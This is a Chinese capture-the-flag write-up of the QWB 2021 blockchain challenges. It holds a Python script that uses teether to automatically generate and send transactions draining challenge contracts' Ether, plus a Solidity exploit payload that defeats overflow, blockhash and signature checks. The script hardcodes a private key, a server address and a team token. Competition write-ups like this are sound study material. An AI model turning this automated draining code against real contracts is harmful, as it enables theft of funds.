Fork me on GitHub
pikachu's Blog

qwb2021 第五届强网杯线上赛区块链

前言

  • 第五届 qwbblockchainsWP,勿喷
  • 随时欢迎大家来交流,别喷就好,谢谢
  • 没有官方 WP ,我只是自己写着玩
  • 题目环境保留到 2021618 日,想要验证测试的小伙伴可以自行测试

BabyAEG

EXP

  • 完全自动化脚本,也不用单独去申请 EOA 账户的 Ether
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
from pwn import *
import re,hashlib,random,string
from web3 import Web3, HTTPProvider

from teether.exploit import combined_exploit
from teether.project import Project
import time,requests

w3 = Web3(Web3.HTTPProvider("http://8.140.174.230:8545"))

private = "f35bd686fe298c6b1f1f50d4db33f0e65cef843573e0e52303ef22219a9fe95c"
public = "0x52cC2403764380CCa583633d2523999FE5077113"

# context.log_level=True
context.terminal = ["deepin-terminal","-x","sh","-c"]

remote_addr=['8.140.174.230', 10001]
p=remote(remote_addr[0],remote_addr[1])

ru = lambda x : p.recvuntil(x)
rud = lambda x : p.recvuntil(x ,drop=True)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
pi = lambda : p.interactive()

def dbg(b =""):
gdb.attach(io , b)
raw_input()

def lg(s):
log.info('\033[1;31;40m %s' % (s))

def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))

def passpow():

rud('Firstly, please give me the proof of your work in 20 seconds!\n')
s = rl().decode('utf-8')
print(s)
prefix = re.split('\(', s)[1][:8]
print(prefix)
difficulty = 20
print(difficulty)
while 1:
answer=''.join(random.choice(string.ascii_letters + string.digits) for i in range(8))
bits=bin(int(hashlib.sha256((prefix+answer).encode()).hexdigest(),16))[2:]
if bits.endswith('0'*difficulty):
print(answer)
sl(answer)
return

def challenge():
rud('[+] Challenge')
lg(rl().decode('utf-8'))
# lg(rl().decode('utf-8'))
rud('[+] Transaction hash for deploying contract:')
deploy_contract_tx = rl().decode('utf-8').strip()
# lg(deploy_contract_tx)
contract_address = w3.eth.get_transaction_receipt(deploy_contract_tx)['contractAddress']
# lg(contract_address)
bytecode = w3.eth.get_code(Web3.toChecksumAddress(contract_address))
# lg(bytecode.hex())
return contract_address, bytecode

def generate_tx(chainID, to, data, value):
if(type(to) is int):
to = '0x'+hex(to)[2:].rjust(40,'0')
txn = {
'chainId': chainID,
'from': Web3.toChecksumAddress(public),
'to': Web3.toChecksumAddress(to),
'gasPrice': w3.eth.gasPrice,
'gas': 3000000,
'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),
'value': Web3.toWei(value, 'ether'),
'data': data,
}
return txn

def sign_and_send(txn):
signed_txn = w3.eth.account.signTransaction(txn, private)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
# print("txn_hash=", txn_hash)
return txn_hash, txn_receipt

def main(bytecode, target_addr, shellcode_addr, amount, savefile=None, initial_storage_file=None, initial_balance=None, flags=None):
p = Project(bytecode)

amount_check = '+'
amount = amount
if amount[0] in ('=', '+', '-'):
amount_check = amount[0]
amount = amount[1:]
amount = int(amount)

initial_storage = dict()
if initial_storage_file:
with open(initial_storage_file, 'rb') as f:
initial_storage = {int(k, 16): int(v, 16) for k, v in json.load(f).items()}

flags = flags or {'CALL', 'CALLCODE', 'DELEGATECALL', 'SELFDESTRUCT'}
result = combined_exploit(p, int(target_addr, 16), int(shellcode_addr, 16), amount, amount_check,
initial_storage, initial_balance, flags=flags)

if result:

call, r, model = result

for c in call:
if c['caller'] == c['origin']:
data = "0x" + c.get('payload', b'').hex()
to = shellcode_addr
value = c['value']
# print(value)
# print(w3.eth.gasPrice)
if(value != 0):
value = 3
txn = generate_tx(8888, to, data, value)

txn_hash, txn_receipt = sign_and_send(txn)
# print(txn_hash)
# print(txn_receipt)

time.sleep(2)

else:
data = "0x" + c.get('payload', b'').hex()
to = c['caller']
value = c['value']
# print(value)
if(value != 0):
value = 3
txn = generate_tx(8888, to, data, value)

txn_hash, txn_receipt = sign_and_send(txn)
# print(txn_hash)
# print(txn_receipt)
time.sleep(2)

return True, txn_hash
return False, ""

if __name__ == '__main__':
passpow()
count = 0
rud('[+] Your EOA account:')
address = rl().decode().strip('').strip('\n')

lg(address)

rud('Whether your EOA account has enough eth?(y or n): ')

res = requests.post(url='http://8.140.174.230/api/',json={'address': address},headers={'Content-Type':'application/json'})

if(res.status_code == 200):

time.sleep(3)
sl('y')
while 1:
contract_address, bytecode = challenge()
solved, txn_hash = main(bytecode, public, contract_address, "-1000")
if solved:
sla("[-] Input your txhash that empty contract's balance: ", txn_hash)
lg(rl().decode('utf-8'))
count += 1
if count == 25:
sla("[-] input your team token: ", 'icq12345678900987654321123456789')
rud("[+] flag:")
lg(rl().strip().decode())
break
# pi()

Result

OneGadget

  • 一键通关,名字可能稍有不恰,不要介意
  • 题目不难,比较简单,简称套娃合约 🐶 ,逆向分析出逻辑关系即可
  • 一个 payload 通关所有合约关卡即可

Source

  • 放出源码,不再作分析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
pragma solidity 0.4.24;

contract Level {
Level public next;

constructor(Level next_) public {
next = next_;
}

function GetSelector() public view returns (bytes4);

modifier _() {
_;

assembly {
let next := sload(next_slot)
if iszero(next) {
return(0, 0)
}

mstore(0x00, 0x7432214c00000000000000000000000000000000000000000000000000000000)
pop(call(gas(), next, 0, 0, 0x04, 0x00, 0x04))
calldatacopy(0x04, 0x04, sub(calldatasize(), 0x04))
switch call(gas(), next, 0, 0, calldatasize(), 0, 0)
case 0 {
returndatacopy(0x00, 0x00, returndatasize())
revert(0x00, returndatasize())
}
case 1 {
returndatacopy(0x00, 0x00, returndatasize())
return(0x00, returndatasize())
}
}
}
}

contract OneGadget is Level {
constructor() public Level(new Level1()) {}

function GetSelector() public view returns (bytes4) { return this.solve.selector; }

bool public solved;

function solve(uint8 v, bytes32 r, bytes32 s) public _ {
require(ecrecover(keccak256("solved"), v, r, s) == 0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF);
solved = true;
}
}

contract Level1 is Level {
constructor() public Level(new Level2()) {}

function GetSelector() public view returns (bytes4) { return this.solve.selector; }

function solve(bytes20 guess) public _ {
require(guess == bytes20(blockhash(block.number - 1)));
}
}

contract Level2 is Level {
constructor() public Level(new Level3()) {}

function GetSelector() public view returns (bytes4) { return this.solve.selector; }

function solve(uint16 a, uint16 b) public _ {
require(a > 0 && b > 0 && a + b < a);
}
}

contract Level3 is Level {
constructor() public Level(new Level4()) {}

function GetSelector() public view returns (bytes4) { return this.solve.selector; }

function solve(uint idx, uint[4] memory keys, uint[4] memory lock) public _ {
require(keys[idx % 4] == lock[idx % 4]);

require(keys[2] - keys[3] == keys[0] - keys[1]);

for (uint j = 0; j < keys.length; j++) {
require((keys[j] - lock[j]) % 2 == 0);
}
}
}

contract Level4 is Level {
constructor() public Level(Level(0x00)) {}

function GetSelector() public view returns (bytes4) { return this.solve.selector; }

function solve(bytes32[6] choices, uint choice) public _ {
require(choices[choice % 6] == keccak256("choose"));
}
}

EXP

  • 自行部署
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
contract Exploit {
constructor(OneGadget entry) public {

bytes memory payload = abi.encodePacked(
entry.solve.selector,
uint256(uint16(0xff1b) | uint256(bytes32(bytes20(blockhash(block.number - 1))))),
bytes32(0x3ec07bbb0fe7fd6e6d2abbb5f0a0c9947173da8daa5265f6231beea212772585),
bytes32(0x26236f50af44e91e608d5946b411a4f86a83ace0543bf8efca7bee233d1f98db),
bytes32(keccak256("choose")),
bytes32(0xc9649d0f469c55d93b24b07c82444ac17ec3287c850f72d2eb7d55ab47151bec),
bytes32(0x3ec07bbb0fe7fd6e6d2abbb5f0a0c9947173da8daa5265f6231beea212772585),
bytes32(uint(3)),
bytes32(keccak256("choose")),
bytes32(0xc9649d0f469c55d93b24b07c82444ac17ec3287c850f72d2eb7d55ab47151bec)
);

assembly {
switch call(gas(), entry, 0, add(payload, 0x20), 292, 0, 0)
case 0 {
returndatacopy(0x00, 0x00, returndatasize())
revert(0x00, returndatasize())
}
}
}
}
---------------- The End ----------------
谢谢大爷~

Author:pikachu
Link:https://hitcxy.com/2021/qwb2021/
Contact:hitcxy.cn@gmail.com
本文基于 知识共享署名-相同方式共享 4.0 国际许可协议发布
转载请注明出处,谢谢!